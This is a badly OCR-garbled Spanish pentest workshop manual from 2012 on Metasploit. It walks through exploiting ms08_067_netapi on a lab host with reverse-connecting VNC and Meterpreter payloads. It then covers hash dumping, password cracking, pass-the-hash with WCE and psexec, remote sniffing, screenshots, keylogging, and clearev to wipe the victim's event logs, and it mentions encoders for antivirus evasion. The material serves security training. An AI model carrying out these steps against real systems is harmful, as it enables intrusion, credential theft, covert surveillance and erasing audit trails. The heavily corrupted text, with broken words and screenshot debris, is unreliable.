Procederemos a actualizar metasploit desde la leomasfconsole, ejecutando el
siguiente comando

MSF > svn update

== Development - Metasploit Console

File  Edit  View Help

s-e= Mhibh @@
== Development - Metasp... | 4 o=

MMMMM
NMMMMMMM
M

MMMMMMM

MMMM
MM

25294

Actualizacién del producto

0
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Este comando se conectara al servidor de actuainesc de metasploit
framework y descargara los nuevos plugins y maatifimmes pendientes disponibles en

ese momento.

Podemos encontrarnos con el siguiente error:

La copia de trabajo ‘.” Esta bloqueada.

Development - Metasploit Console

File' Edit Wiew Help

B-&3 DD 0@

2550

Una forma rapida de solucionarlo es buscar losfih “lock” en el directorio
msf3 de metasploit con espadlokb y eliminarlos todos volviendo a ejecutar svn

update.

Resultado de la bisqueda

[- [=]x]
.!‘E

~l@r

Archive  Edicion  ver  Favortos  Herramientas  Ayuda
€ D - || D eesauean [ cavetas | [ (B0 X ) |G-
Direccidn [ Resukadn de la bisqueda
Asistente para bisqueda Mombre. [ Enla carpets | Relevancia Tamafio | Fecha de madificacién | Fecha de creacian
€] FlockFile.c Ci\metasploitimsF3lexternalisouresmeterpret 6KB 22/02{2012 17:18 14/03/2012 0:51
|14) Flockfile..c. svn-base: C:\metasplaitimsf3\externalisouree\meterpret. 6KB  22/02i2012 17:16 14/03(2012 0:50
€] infblack.c CiimetasploitimsF3lexternalsoures\ynediiwin. . 13KB  22/0242012 17:18 14/03/2012 1:02
ﬂmfb\u:k.c‘svn'base CiimetasploitimsFalexternalisource\vnediiywin,. . 13KB  22/02/2012 17318 14/032012 102
1] infblack.h Ci\metasploitimsF3lexternalisourcelyncdiin. ZKB 22/0202012 1T:18 14j03(2012 1:02
[A]infblock.h.svn-base Ci{metasploitimsF3texternalisourestynediiwin. . 2KB 22/02{2012 17:18 14/03/2012 1:02
o Cilmetasploit|msfal, svn OKB 27/0d2012ZaiaE  27/03j2012 2336
CrimetasploitimsF3lexternall.sun OKB 27/0MEni2zIEE  27/03(2012 2335
Ci\metasploitimsF3lexternalisoures), svn OKE 27/032012 2%:38 27/032012 2538
SEEncoM a1 NSl Ci\metasplaitimsF3lexternalisource|exploitst.svn 0KB  27/03(2012 23:40 27/03i2012 Z3:40
encontrado lo que buscaba?

_ ol CiimetasploitimsFalexternalisaures | exploitsiC 0KB 27/03j2012 23140 27/03j2012 23140
TR 8 B ] lackdep.h 3KE 2zfizfeniz 17ile 14/03i2012 DG
No, redefiniv esta biisqueda y... [ i) lockden.h.surb £q (a2 carpeta: \svn |meterpret. 3KE 22/02/2012 17118 14/03j2012 0:47
[E3 Cambiar &l nombre de archiva o las B lockauk_keylogg] Tipa: Archivo " dows\cap .. BKB 14/03j20122:1% 14/032012 2:1%

palabras clave: [Alodkout_teyloggy fecha de madficadén: 27/03f2012 23:40 dows\cap. . 1K 14/03(2012 2:13 14/03(z012 2113
[ Inchir archives ocultas v de sistema [ lackou ey L o KB 14/03(2012 2:13 14/03(2012 2:13
8 o (1] locks.h Ciimetasplot|msfaiexternalisourcsimeterpret.. SKB 22jozieniz i7i18 14/0312012 D44

Es posible que también desee...
|1)locks.h.sun-bass C:\metasploitimsF3\externalisource\meterpret. SKB 22/02i2012 17:16 14/03(2012 D144

Ordenar resultados por categoria b ) miack.5 Ci\metasploitimsF3\externalisource\meterpret. 1KB 22/02/2012 17:18 14/03j2012 0:38
Ver resultados de otra manera » =1 minck.5 Ciimetasplot|msF3\externalisource\meterpret. 1KB 22/02/2012 17:18 14/0312012 0:39
D iriciar una bisqusdanueva st mlnck. 5 Ciimetasplot|msF3|sxternalisoures |meterpret 1KB 22j02/2012 17:18 14{03j2012 0:41

ﬂ miock.5.svi-base Ciimetasploitimsflexternallsourceimeterpret. . 1K 22/02f2012 1718 14/0372012 0:3%
[ miack.5.svn-base C\metasploitimsF3\externalisource|meterpret. 1KB  22/02/2012 17:16 14/03/2012 0:39
| 4] miock.5.svn-base CiimetasploitimsF3lexternalisourcsimeterpret 1KB 22/02/2012 17:18 14/03/2012 0:40
2 murlock. CiimatasploktimsFalexternalsource\meterpret . 1K 22j0zizmiz 17iE 14/03j2012 0:35
as] munlock.5 CrimetasplaitimsF3lexternalisourcelmeterpret. 18 22j02j2012 17118 14/03(2012 0:39
3 murlock.5 Ciimetasploitimsf3iexternallsourcemeterpret. . 1KB  22/02f2002 1715 14/03/2002 041
|4 munlock.5.svn-base 1KB 22/02/2012 1T:16 14/03(2012 0:38

) it e

<1

Ciimetasplot|msF3\sxternalisourcs\meterpret.

0
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Un recurso interesante para ver la actividad demaunidad es darse de alta en
la rss para estar al dia en la revisiones del ptoye en
http://feeds.feedburner.com/metasploit/development

La consola nos indica de cuantos exploits, payload&dulos auxiliares,
encoders y nops disponemos.

Metasploit dispone de una serie de comandos dmubdes mostraremos los mas
utilizados, para consultarlos todos usaremos eboaishelp.

Paso a mostrar los mas utilizados.

MSF > version

Nos muestra la version del Framework y de la dansctualmente instalada.

== Development - Metasploit Console

File Edit Wiew Help
-3 hh 0 e
== Development - Metasp... | 4 %

=[ svn rl5001 updated today (2012.

Feady BraT

Version instalada

MSF > banner

Ademas de la versidn muestra exploits, payloadsydars y nops disponibles hasta la
ultima actualizacion.

=+ Development - Metasploit Console HEER
Fle Edt Vew Help
s-@m hhloe

=H pevelopment - Metasp... | 4 b X

Ready 2204

Banner

o. Pé_924
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MSF > Show all ;

Muestra todos los modulos disponibles, (exploigylqads, auxiliary, encoders, nops)

MSF > Show exploits ;

Muestra en pantalla todos los exploits de la basdgadios existente.

Exploits Disponibles

MSF > Show payloads

Un payload o carga util, es la accion que puediézegaun exploit cuando este
ha sido armado, las acciones pueden ser de muysdiwedole, tales como el acceso
remoto, la creacidon de una cuenta de usuario cimilegios de Administrador, el
retorno de una shell remota, la instalacion deeuico.

Cada payload tiene en metasploit unos parametrosodfiguraciéon que se
deben definir antes de armar el exploit.

o. PégZS
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, Bind TCP Inline
t Inline

TCP_Inline
nline
CP Inline

, Bind
Inline

MSF > Show auxiliary

Los moédulos auxiliares son complementos que noslaaylwa detectar hosts
afectados por algun tipo de vulnerabilidad deperdbale cual seleccionemos.

Metasploit ofrece una serie de médulos de descidamioy escaneo, ataque con
los que podremos buscar mediante escaneres derahiliades en los sistemas
afectados para que posteriormente puedan ser agpkot
Mas adelante se muestran algunos ejemplos de uso.

Médulos Auxiliares

MSF > Show encoders

Un encoder podria definirse como un algoritmo gpkcado a un payload,
oculta el codigo evitando la deteccion de estes afdivirus.

Metasploit dispone de varios de ellos siendo el owdsin y conocido por su
eficacia elshikata_ga_nai.

Esta opcion permite ver los encoders disponibles padificar los exploits y asi
evitar ser detectados por las firmas antivirus.

o. Pé.gZﬁ
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=i Metasploit !.u

File Edit Wiew Help
s-&m | hih|o

_iw

Ready 23x135

Encoders

MSF > Search

En ocasiones la lista de opciones que nos ofretaspleit es interminable por
lo que nos vemos en la necesidad de filtrar |la léda, search nos ayuda a acotar los
literales.

Msf> search mp4

[=F Development - Metasploit Console HEE

Fle Edt View Help
s-em Db oe
2 Development - Metasp... | abx

Busqueda por literal

Tal como muestra la figura, search buscara cualditéeal en el que salga la
palabramp4.

Si queremos acotar la busqueda por modulos usargrmpasametro “type”
Msf> search type:exploit mp4

MSF > Use

Para poder seleccionar un exploit haremos usooteadouse

Msf> Use ruta del exploit/exploit

o. Pé.gZ?
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[- [ <]
[X

tttern ‘netapi'...

Seleccién de un exploit

MSF > Info

Info nos mostrard la informacion relativa al explseleccionado junto con los
parametros de configuracion, Es una ayuda impa@tpata llegar a conocer el uso de
determinado exploit y su funcionalidad.

Msf> Info Windows/smb/ms08_067_netapi

HA bash HEE
=

ilian (M<)

Informacién de un exploit

MSF > show options

Nos mostrara una serie de parametros configuraléss exploits como en los
payloads, estos, definen el equipo local, el equgmoto, el puerto o el payload a
utilizar, y permiten configurar todo lo necesarargque el acceso pueda realizarse con
éxito.

A bash HEER
e X

© Targeting

Opciones Disponibles

o. Pé.928
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MSF > Show Advanced 1

Muestra las opciones de configuracion avanzada puede tener un exploit
determinado.

= Development - Metasploit Consale BER

File Edt Wew Help

Doee

sp. 4 b x

Ready 27152

MSF > Set

Con el comandaet definiremos las opciones requeridas por los m&ide
exploit, payload o scanner

Ejemplo:

Msf> Set Ihost <valor a definir>

Seleccién de variables

MSF > Back

Nos permite volver hacia atras en los médulos pahger a seleccionar el que
mas nos interese.

o. Pé929
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MSF > Jobs ;

Nos muestra los trabajos activos, puede darseseldm®que tengamos que parar
un exploit y sigua existiendo el trabajo que nagjbke la proxima ejecucion.

MSF > Kill ]

Matara el Job seleccionado.

MSF > Exploit/run ]

Es el comando con el que ejecutaremos el exploda wez tengamos
configuradas las opciones.

MSF > Exit ]

Saldra de la consola de metasploit

MSF > help ;

Estas serian las ordenes mas basicas, pero haw madsque consultar con el
comando help

= Development - Metasploit Console [_ =] =]

File Edit  Wiew Help
s-ew | @ e

Development - Metasp... | P

i

Ready 38289

0
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MSF > Workspace ]

En mas de una ocasion realizaremos proyectos diésreon lo que tendremos que
diferenciar a que proyectos pertenecen los hostsworkspace crearemos nuestros
espacios de trabajos.

workspace Lista los espaciograeajo

workspace [name] Cambia al espacioaleajo seleccionado
workspace -a [name] ... Afade un espacio dajoa

workspace -d [name] ... Borra un espacio deajm

workspace -r <old> <new> Renombra un espacioat&jo
workspace -h Muestra informacion

Para mostrar su utilidad podemos crear dos workspditerentes y escanear un host en
cada workspace y observar su comportamiento.

Workspace —a primero
Workspace —a segundo

Workspace primero
Nmap 192.168.1.80

Host

Workspace segundo
Nmap 192.168.1.81

Host

Comprobaremos que cada host estard asignado adpameék que en su momento este
activo.

Para borrar los host de la base de datos podeemsgas] el siguiente comando

Hosts —d direccion ip o con * borraremos todos lososts definidos en el workspace
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Armitage

Armitage es un entorno grafico creado para metdasmglonde visualiza los
equipos, exploits, payloads a usar graficament& iBsluido en la Ultima version 4.2
de metasploit con lo cual para acceder solo le datoble clic al icono.

. Framework !EE
Archivo  Edicion  Yer Faworitos  Herramientas  Ayuda | {.'

@Atrés - J - 'ﬁ' j._'BL'lsqueda || Carpetas ,—_:'} j x »

Direccion ] thingstal UsersiMend IniciolProgramas\Metasploith Framework L] Ir

-

Framework Console
Acceso directo

Vg
W

Framework Armitage
Framework M3FGUL

Framewark IRE
fccesao directo Acceso directo
ZKE ZEB
— Framework Update
| B | sooeso directo
1KB

Esta creado para los practicantes en seguridadentenden la filosofia de
metasploit pero no lo usan a diario..

Si quieres conocer mas sobre esta herramientasatfuél enlace del proyecto:
http://www.fastandeasyhacking.com/

2012 Raphael Mudge

[T T T T T [entemet
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Armitage es multiplataforma i requiere de:
Java 1.6.0+
Metasploit 4.0+

Connecting to 127.0.0.1:55553
java.net.ConnectBxception: Connection refused: connect

—

Cancelar

Ejecutaremos Armitage y nos conectaremos a lafaatelel programa, el cual
no deja de ser un interfaz grafico de los comaxdametasploit.

[&] armitage

[- [5]x]
Armitage View Hosts Attacks Workspaces Help
Ly auwliary |
» (& exploit
v [ payioad

v [ post

192.168.1.80

=[ metasploit v4.3.0-dev [core:4.3 api:l.0]

-- —-=[ 815 exploits - 458 auxiliary - 138 post
- —-=[ 248 payloads - 27 encoders

- 8 nops
=[ svn r15001 updated today (2012.03.21)

Entorno de Armitage

Para la practica volveremos a seleccionar el eixplsd8 067 _netapi para ver las
peculiaridades de cada conexién.

Configuraremos y ejecutaremos el exploit pulsamdbanch
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Armitage Yiew Hosts Aftacks Workspaces Help

¥ [ smb

[ msbs_o15_nete
ms04_007_killhill Microsoft Serer Service Relative Path Stack Corruption

| me04_011_lsass

T

This module exploits a parsing flaw in the path canonicalization code of NetAP122.dil through the .

L1 ms04_031_netdde 7 Server Sewvice. This module is capable of bypassing N on some operating systems and service j

[ msD5_039_pnp LH2eTEE sl packs. The correcttarget must be used to prevent the Server Service (along with a dozen others in the
ms06_025_rasmans_reg game process) from crashing, Windows XP targets seermn to handle multiple successiul exploitation 75

|| ms0B_025_rras
[ ms06_n40_netapi
| msD6_DBE_nwapi

Cption & | Value

Y - 15,1 52

[ ms0B_0BB_wnwks ;i?)fn- 1223517531 =
ms06_070_whkssve

g RPORT 445
| | ms07_029_msdns_zonename SMBPIPE BROWSER

[ ms09_050_smb2_negotiate_func_ir
| ms10_061_spoolss
L] netidentity_dierrpcpips

[ psexec

[ smb_relay

| timbuktu_plughntcommand_bof
» [ smip Targets: | 0== Automatic Targeting
> [ ssh
> (& ssl £ V] Use areverse connection

92.168.1.82 ] Show advanced options

| Launch |

Cansale %

icio| =0, |[#a usvon @0 @ @ @ El«mdsER oM e

Devolvera una sesion remota de meterpreter

[&] armitage

Armitage View Hosts Aftacks Workspaces Help
¥ [ smh
|| ms03_049_netapi ‘ 'I ¥

rMs04_D07_killpill

L

[ msn4_011_lsass ?

| ms04_031_netdde

|1 me05_039_pnp 192.168.1.80

[ ms06_025_rasmans_rag NT AUTHORTIT

[ ms06_n26_rras

[ ms06_040_netapi

| ms0B_0BE_rwapi

[ ms06_066_rwks

[ msDB_D70_whkssve

[ ms07_029_msdns_zonename

[N 067 _netani

[ ms0a_ps0_smb2_negotiate_func_i
ms10 061 spoolss

ath

Caonsole ¥ | exploit X | histerpreter1

meterpreter > sysinfo

Computer @ VICTIMA

os : Windows X (Build 2600, Sexvice Pack 3.
Architecture : %86

System Language : es_ES
Meterpretex #86/win32

meterpreter
#icio| =5 mvn @D O8O0 E « =gl _yg@!’ms
Obtencion de credenciales en Armitage
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Funcionalidades de Metastploit

+%* Funcionalidades

Para comprender mejor el funcionamiento de metdspéalizaremos un
ejemplo donde seleccionaremos un exploit i lcciggremos con dos payloads
diferentes para ver sus distintas caracteristicas
El exploit que he seleccionado &lsms08 067_netapidonde os pongo un fragmento

obtenido de la base de datos de securityfocus wiln dedicado a la publicacién de
vulnerabilidades y donde guardan una base de datoalizada.

“Microsoft Windows is prone to a remote code-execution vulnerability that affects RPC (Remote Procedure Call) handling in the Server

service.

An attacker could exploit this issue to execute arbitrary code with SYSTEM-level privileges. Successful exploits will result in the
complete compromise of vulnerable computers. This issue may be prone to widespread automated exploits.

Attackers require authenticated access on Windows Vista and Server 2008 platforms to exploit this issue.
This vulnerability affects Windows 2000, Windows XP, Windows Server 2003, Windows Vista, and Windows Server 2008. ™
Empezaremos buscando el exploit que nos interddgamndo los comandos
comentados anteriormente.

Msf> search netapi

La consola nos devuelve cuatro exploits disponjldeseste ejemplo haremos uso del
cuarto, los seleccionaremos de la siguiente manera:

Msf> use Windows/smb/ms08_067_netapi

Como datos adicionales también consultaremos larnrEcion referente al
exploit seleccionado.

Msf > info Windows/smb/ms08_067_netapi

o. Pé1935
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Informacién de un exploit

Con show options consultaremos las posibles parématconfigurar que tiene
el exploit, en este caso permite indicar el equigmoto a acceder con la variable
RHOST, también nos muestra las opciones requeridas.

Seleccionaremos el parametro con:
Msf>set RHOST 192.168.1.80

Seguidamente seleccionaremos el payload a utilizar:

El primer ejemplo de payload que mostraré es Vactheverse_tcp el cual nos
devolvera un escritorio remoto con conexion invelsda pc_victima.

Msf> Set payload Windows/vncinject/reverse_tcp

Con show options seleccionaremos las opciones agb@d que en este caso
sera lhost para indicar la maquina del equipo atacya que le estamos indicando al
payload que haga una conexion inversa, quiere dpmr sera la victima quien se
conecte al atacante.
Msf> set Ihost 192.168.1.59

Ahora ya esta configurado el exploit para ser ldoza

Msf>exploit

o. Pé936
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& nicio| | B Metasploit Courtesy ... E\« o 1704
Shell remota por VNClInject

Nos devuelve una consola remota y una Shell, dstfh fuede ser un problema
por lo que tenemos la posibilidad de desactivani®esade lanzar el exploit con el
siguiente comando:

Msf> Show advanced
Msf>set DisableCourtesyShell true

Si volvemos a ejecutar el exploit ya no saldra kel Cuando puede ser
necesaria esta opciéon?, pues cuando la sesion aeestd blogqueada, es entonces
cuando con la consola podemos acceder al exploregautando el proceso del
explorador de Windows:

Explorer.exe

El siguiente payload que usaremos sera meterpget@ral nos permite cargar
diversos plug-ins de ataque que mostraremos anc@uion, algunos de ellos son
sniffer, keylogger, webcam..... Todos ellos los datamos mas a fondo mas adelante.
Seleccionaremos el payload
Msf>set payload Windows/meterpreter/reverse_tcp

Seleccionaremos el Ihost y ejecutaremos el exploit

Ejecucion de un exploit

0
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Nos indica que se ha abierto una sesiéon remota

Si queremos ver las sesiones creadas

[ MSF > sessions -l ]

Si queremos seleccionar una sesion en concreto:

[ MSF > sessions —i <ndmero sesiqn

Cuando estemos conectados a la sesion de metegstidiaremos una serie de
comandos y scripts los cuales mostraremos un bestenen a continuacion, resaltar
gue con el comando help se mostraran todos losrwsalisponibles.

MSF > background ]

Permite ejecutar meterpreter en segundo plano.

O P&g38
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Meterpreter

% Meterpreter

Meterpreter es una familia de plugins avanzadofosienismos creadores del
Metasploit Framework, que se utiliza sobre sistec@m®prometidos y tienen como
caracteristica fundamental que todo es cargada eneimoria del sistema sin crear
ningun proceso adicional ni dejar rastros, permiteeincluso la inyeccion dinamica de
diI's o la migracion entre procesos del interprdtes comandos mas usados que
podemos utilizar los siguientes:

MSF > ps ]

Muestra los procesos activos en la maquina remota

MSF > sysinfo ;

Nos indica el nombre de la maquina y el sistemaatpe, asi como el idioma
de la maquina remota.

MSF > getuid ;

Nos indica con que privilegios corre la sesionalednsola

MSF > getpid ;

Nos indica el pid del proceso al que estamos ¢ades

MSF > migrate ]

Cuando se ha ejecutado un exploit que afecta &ulnarabilidad en el software
si remotamente cerramos el proceso al que estanmestados, se perdera la conexion,
para evitar esto meterpreter nos permite migracgsms para asi evitar la pérdida de
conexion.

o. Péng
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MSF > idletime ]

Muestra el tiempo de inactividad del usuario remoto

Sending
Meterpr

- idletime )
idle for: 1 min 26

1.80:1034) at 2010-1

Tiempo inactivo del usuario

MSF > getwd

Muestra el directorio remoto donde estamos

== Development - Metasploit Console

File  Edit Wiew Help

Fd

MSF > getlwd ]

Muestra el directorio local

== Development - Metasploit Console

File  Edit Wiew Help

Fd

0
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HashDump

Ntlm (NT Lan Manager) es un algoritmo basado en MDdual es utilizado por
los sistemas Windows como método de autentica&éte utiliza un Challenge de 8
bytes que intercambia entre cliente y servidor esbtocolo es vulnerable a diversos
ataques ya que No es necesario descifrar una seffasino que podemos iniciar
sesion capturando el hash que se genera en laiaeigaadel protocolo.

Las contrasefias en Windows se almacenan en unditlhenado SAM en el
directorio %windir%\system32\config el cual las giacifradas con una funcion hash
unidireccional lo que indica que funciona en uros#ntido y que a partir del hash no
hay retorno, no se puede descifrar la contrasefia.

La estructura del fichero SAM consta de la cuergauduario , mas el sid,
identificador que nos sefala que privilegios tieneuenta, y las dos versiones hash del
sistema Windows, la primera de ellas y la mas féeildescifrar es Lan Manager
disponible para las versiones win9x, Windows xpé&/i®l hash de lanman se calcula
partiendo en dos partes de siete caracteres cadg en mayusculas la contrasefia, la
segunda parte corresponde a las versiones de NTVMHA y 2000x es NTLM i
NTLM v2.

Lo primero que tenemos que obtener es el hashatlnas lo proporciona el
plugin hashdump .

Cuando tenemos el Shell meterpreter ejecutamaguceste:

Meterpreter >run hashdump

Puede darse el caso que al ejecutar el pluginglekste error

[ Development - Metasploit Console !.u

Filz  Edit  View Help

3-&3 hihee

ion failed: The handle is inwalid.

Ready Oxi44

Lo cual nos indica que debemos migrar el proceso eontexto de usuario del sistema
para obtener los hash.
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Comprobamos que al proceso de winlogon.exe le sporele el PID 520, migraremos
nuestro meterpreter a ese proceso:

== Development - Metasploit Console

File Edit ‘iew Help

Ready 10x69

Y volveremos a ejecutar el plugin hashdump.

= Development - Metasploit Console !.m

Fle Edit Wew Help

3-&m hihloe

Ready 20x141

Ejecucién de hashdump
Ya tenemos el hash en formato lanman i ntim deidmim de Administrador local.

Para obtener las contrasefias se pueden utilizasvagétodos, uno de ellos son
las tablas rainbow, tablas generadas con hash lqugdbs y que realizan una
comparacion de hashes.

Este método lo utiliza la herramienta opensourcélCRACK disponible en
http://ophcrack.sourceforge.net/

Pasaremos un diccionario de fuerza bruta sobrast htilizando las tablas rainbow,
para eso utilizaremos el programa citado anteriotene

o. Pé.g42
Bernabé Mufioz (bmm@reus.tinet.org)




TALLER AUDITORIA'Y PENTEST 2012

opherack BEE
= e
D 0 & v v 0 @& c
Load Delete Save Tables Crack tielp £t Abaut
Progress | statistics | Preferences |
User LM Hash [ NT Hash LM Pwd 1
Adrinistrador | ABEDIEACT 1T6FSIAEADSFT4FBS7ED1ER BOEOD3671FBU4TFCESEDG25CFE0FCADD
| | 1
Table | Disctory Status Progress |
5 @ WP froes... i C:PRUEBACONC. n sl I ]
" @ tabled an disk. i ]
@ tablet an disk ]
@ tablez on disk i 1
@ table3 on disk [ 4

preload; | waiting Brute force: | walting Pud found: | ofo Time elapsed: | ohom 0s |

Pantalla de Ophcrack

Guardaremos el resultado de hashdump en un fidoeréormato pwdumpfile.

Seleccionaremos load /pwdump file , y cargaremdscleero anteriormente creado,
junto con la carga de las tablas necesarias ijgugss a Crack

ophcrack !E E

o L & v 2 0 @

Load Delete Save Tables Crack Help Exit

Pl
o
g

=

Progress I Skatistics I Preferences I

LM Hash | T Hash LM Prwd 1 LM Pwod 2 T Prad
E0SEACT17EFS3AEADSFF4FBE7E0169 BOEOD3671F8047FCESENSZSCFE. .. AS1Z22KE 3R0S As12zk23rds

-

|+ [»]
Table Directory Status | Progress

@ wpfrees. CPRUEBACONC.  100%inRAM I
- @ tabled 100% inRAM - I
- @ tablel 100%inRAM  EEEEE .
@ tablez 100% inRaM I
- @ table3 100% inRAM I

Preload: I done Brute Force: I dane Pwd Found: 111 Time elapsed: I 0h Om 135

Resultado crackeo de password

En la parte inferior derecha podremos observaieelgo que ha tardado en
obtener la password en la parte superior dereaina oo pwd
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Podemos prescindir de malgastar tiempo en crad&sgvassword, tenemos el
hash y haremos uso de una técnica llamada “Pas$at€ , esta técnica consiste en la
posibilidad de autenticarse en equipos Windowsameénte conociendo el hash, os
muestro una herramienta que nos permitird conettaquipo remoto modificando las
credenciales del equipo con las de la cuenta adirador del equipo remoto
http://www.ampliasecurity.consu nombre Windows credentials Editor V.1.Q esta
herramienta permite modificar las credencialesogen, afiadirlas o borrarlas, soporta
los sistemas Windows xp, 2003, vista, 7 y 2008 hdaamienta provee las siguientes

opciones:
Options:
-l Lista las sesiones de logon y credenciales (lon defecto)
-S Cambia las credenciales NTLM de la sesion derleén curso.
-r Lista las sesiones de logon y credenciales nihdefinidamente

refrescando cada 5 segundos si hay nuevas sesiones.
-C corre cmd en una nueva sesion con las credesciim especificas.
-e lista las sesiones de logon con credencidllesindefinidamente.
-0 grava las salidas en un fichero
-i especifica el LUID
-d Borra las credenciales ntim de una sesion
Y desarrolla la salida.

Para comprobar el acceso realizaremos lo sigyierdse conectaremos al recurso
administrativo de la maquina remota \\192.168.1.80

{

Conectar a victima B B

=

Coneckando con 192, 168,1.80

Usuario: I L5 :_j

Cankrasefia: I

™ Recordar corkrasefia

Cancelar

Solicitud de credenciales Recurso Remoto

Podemos comprobar que nos pide las credencialastesticacion:

on Pag44
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v CIWIHDOWS systemn32icmd.exe

C:sWCE>uce —s Administrador:580:AAEB3IEACY1?6FSIAEADSF74FB678D169 : BAEBD2671FE04 7T mm
CEZEBS 25CFoBFC4DD
WCE v1.8 (Windows Credentials Editor)> — {c> 2818 Amplia Security — hy Hernan Och

ova ChernanPampliasecurity.com?
Use —h for help.

Changing NILM credentials of current logon session (BAEZ2ABSh)> to:
Username: Administrador

: 588

: AAEB3EACT176FS53AEADSF74FB678D16T

: BAEWDI671F8047FCE3EAS25CF6AFCADD
MTLM credentials successfully changed?

C S UCE>

Windows Credentials Editor v1.0

Ejecutaremos wce —s Administrador:500:hash lannaah:intim
| volvemos a conectarnos al recurso

\\192.168.1.80|c$
# cf en 192.168.1.80 BEE
Archivo  Edicidn  Yer Herramientas — Ayuda ;’_,'
o At > B ? >~ Bilsqueda Carpetas ! i x n '
Direasidn |27 11192.168.1,80cH | It
/,1 ,C\ /J Documents and Settings /J praova
RECYCLER Syshem Yolume Information /J SIMDOWS
== ALUTOEXEC.BAT boot .ini . EBiootfont. bin
Archivo por lotes M3-DOS Cpciones de configuracian saa| [ Archivo BIN
OKE 1 KB =221 skB
[ Iy conris.svs I . MSDI0S, 515
gggi archivo da sistema a8 *'| Archivo de sistema saal | Archivo de sistema
| o OkE == oke === oke
S NTDETECT.COM R s ’ pagefile.sys
Aplicacion M3-D0OS a8 =] Archivo de sistema ssal | Archivo de sistema
47 KB === 246KB =—=1| 73 E I
r"'iﬂ servidor, exe _.:.J

Acceso al recuros ¢$ con las nuevas credenciales

Ya tenemos acceso sin conocer de su password....

Metasploit nos ofrece la posibilidad de realizar reismo trabajo sin salir del
Framework

Una vez que hemos obtenido la sesién meterpreten ywvashdump obtenido los hashes
de las passwords, necesitamos saber el grupo luigardel equipo destino, con nmap
realizaremos un escaneo haciendo uso del scriptosndiiscovery.nse que nos dara el
resultado siguiente:

Nmap —script smb-os-discoverty.nse —p445 192.168Q.
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WSisystem32emd.exe
(C> Copyright 1985-2001 Microsoft Corp.

C:~Documents and Settings“Administrador>cd ™

C:~>nmap —script smb—os—discovery.nse —p445 192_168.1.880

Btarting Hmap 5.5%1 ¢ http://nmap.org > at 2012-64-11 18:52 Hora de verano romanc
5]

mass_dns: warning: Unabhle to determine any DNS servers. Reverse DHE is disabled.
Try using ——system—dns or specify valid servers with —dns—-servers

Mmap scan report for 192.168.1.88

Host dis up (B.88s latencyl.

PORT STATE SERVICE

445-tcp open microsoft—ds

MAC Address: BB:B3:FF:13:B2:2E (Microsoft)>

Host script results:
smb—os—discovery:
05: Windows ¥P (Mindows 2800 LAN Manager>
Mame : GRUPO_TRABAJOUICTIMA
System time: 2812-84-11 168:52:84 UTC+2

Mmap done: 1 IP address {1 host up? scanned in 1.72 seconds

Gz

Comprobamos que nuestro grupo de trabajdGBUJPO_TRABAJO, ya podemos
hacer uso del modulo psexec de metasploit.

En el mdédulo configuramos los siguientes parametros

Rhost: el equipo destino

Smbdomain: el grupo de trabajo obtenido anterioteen

Lhost: nuestro equipo

Lport: puerto por donde nos devolvera la sesidrerpetter
Smbuser: el usuario remoto

Smbpass: el hash que hemos obtenido con hashdump

k= Development - Metasploit Console

File Edt View Help

0T w ‘-nJEJ 6@

EOD.
OFC4DD

Ready 22¢151
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Development - Metasploit Console

Fie Edt Wew Help

3-es hh @@

Ready 22x151

Podemos comprobar que ha abierto una sesion nettarpr

0
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Sniffer

El Modulo sniffer de meterpreter nos permite cagtyaquetes en el equipo
remoto y exportarlos al formato pcap, para quegrmstnente puedan ser analizados
por herramientas como whireshark y obtener asisdai@vantes como contrasefias y
acceso a sitios.

Cuando tenemos acceso a la consola meterpretetasjeus |0 siguiente:

Meterpreter > use sniffer 1

Utilizando el comando help nos mostrara las opaquesibles.

timestomp Manipulate file MACE attributes

Consola de meterpreter

Meterpreter > sniffer_interfaces

== Development - Metasploit Console

File Edit ‘Wiew Help
o T & = |—._| CI @ Lo

meterpreter > sniffer

1 -

meterpreter > I -

Ready Sx53

Con sniffer-interfaces seleccionaremos la intedazde pondremos la tarjeta en
modo monitor para la captura de paquetes.
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Seleccionaremos la interfaz

Meterpreter > sniffer_start x ]

Donde x corresponde al nimero de adaptador desleccgonado

=t Development - Metasploit Console

File Edit Miew Help

o T & |—_|_IE:I 8 @

(50000 packet huff

Ready Sh 3

Capturando datos
Ahora el sniffer esta capturando las conexionaspcrobemos por ejemplo el correo

Meterpreter > sniffer_stats X

Con sniffer_Stats veremos si esta capturando pesjuédonde X es el numero del
adaptador seleccionado.

o en Intel 21140 (Genérico)' { type:0 mtu:l514 usable:true dhop:false wi

)0 packet buffer)

Comprobando el estado de la captura
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Meterpreter > sniffer_dump 1

Cuando ya tengamos suficientes paquetes, volcareghosesultado con
sniffer_dump X c:\\descargas.pcap

== Development - Metasploit Console

File Edit Wiew Help

o T8 E_lD (%)

written to o

Feady gx71

Volcado del contenido de la captura

Meterpreter > sniffer_stop}

Paramos elsniffer con sniffer_stop 1 localizamos el fichero creado
descargas.pcap y lo abriremos con whireskark hen@amienta open source destinada
a la monitorizacion y de la que daremos una bregeripcién en un apartado posterior.

o. PégSO
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Screenshot

Con este modulo podemos capturar en cualquier momestantaneas del escritorio
del equipo remoto y guardarlas en formato imagen.

Meterpreter > screeenshot

== Development - Metasploit Console

File Edit Wiew Help

-3 D 8@

Download or
meterpreter :

EdicpEPh. jpeg

Ready 6x71

o. Pé_g51
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Keyscan

Este script captura las pulsaciones de tecladegiepo remoto.

Meterpreter > keyscan_start ]

Inicio captura de teclado

2 Sin titulo - Bloc de notas

Archivo Edicion Formato  Wer  Ayuda

- Exu es una prova de captura de teclat
Mi PC
i

& ' Tnicio _3 Sin titulo - Bloc de not...

« W 23:29
Captura las pulsaciones de teclado

Bernabé Mufioz (bmm@reus.tinet.org)
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Meterpreter > keyscan_dump ]

Con keyscab_dump volcamos el contenido de la capleem la pantallla

'o de teclat =Eeturn:

Volcado del resultado de la captura

Meterpreter > keyscan_stop ]

Conkeyscan_stopparamos la captura.

== Development - Metasploit Console

File Edt Viem Help

Ready Sx117

o. PégS3
Bernabé Mufioz (bmm@reus.tinet.org)




LLER AUDITORIA Y PENTEST 20

Clearev

Con clearev borraremos el rastro que podamos éejal registro del sistema remoto.

B visor de sucesos !E H

archivo  Accidn Wer  Awvuda

¢ B 2
Wisor de sucesos (local)

Sequridad Tipo | Fecha | Hara Crigen | Catec_j

Sictema @Informacién 17112010 23:143:93 libtw11 MingL

ACEEventLog @Informacién 17j11j2010 23141127 EAPOL MingL

Cisco AryConnect YRR Clisnt @Informacién 17j11j2010 23141127 EAPOL MingL

24| Inkernet Explorer I:E;:’Inl’ormau:iu.‘un 17j11j2010 23141118 SecurityCenter MingL
@Informacién 17112010 2341011 vmware-converter-ser,,.  Mingu
